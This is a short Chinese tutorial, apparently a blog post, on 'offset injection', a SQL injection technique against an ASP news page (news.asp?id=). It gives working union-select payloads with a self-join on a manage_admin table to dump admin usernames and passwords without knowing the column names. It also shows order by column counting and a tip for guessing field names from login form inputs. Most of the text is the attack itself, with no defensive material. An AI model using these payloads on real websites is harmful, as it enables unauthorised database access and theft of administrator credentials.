news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id
看个案例就明白是什么意思了
先是背景
news.asp?id=3306 存在注入
然后通过 order by 可知查询返回 12 列
通过数据表字典跑出管理员表 manage_admin,但是无论如何也跑不出字段名
好,背景介绍完毕
接下来通过 order by 查询manage_admin 一共有多少字段
4返回正常,5返回错误,所以manage_admin 一共有4个字段。
2x4<12 当然等于也可以。
news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id
案例讲完了,来分析一下sql语法,看下图w3school的解释。
as 关键字则是为数据表取别名。
最后利用 union 联合查询获取数据。
这也是偏移注入的原理,可在不知道字段名的情况下查询数据。
ps:这是彩笔的理解,不一定正确。
另外,关于猜解管理员表字段名这里有个技巧,一般与通过后台登录表单的输入框名称同名,本案例中就是这样。
news.asp?id=3039 and 5>9 UNION SELECT 1,userpassword,3,4,5,6,admin,8,9,10,11,12 from manage_admin
纳尼,这就是偏移注入,其实偏移注入也可以用来猜解数据表一共有多少字段。
news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,* from manage_admin //返回正常
<pre name="code" class="plain">news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,9,* from manage_admin //返回错误
说明表manage_admin 有4个字段(12-8)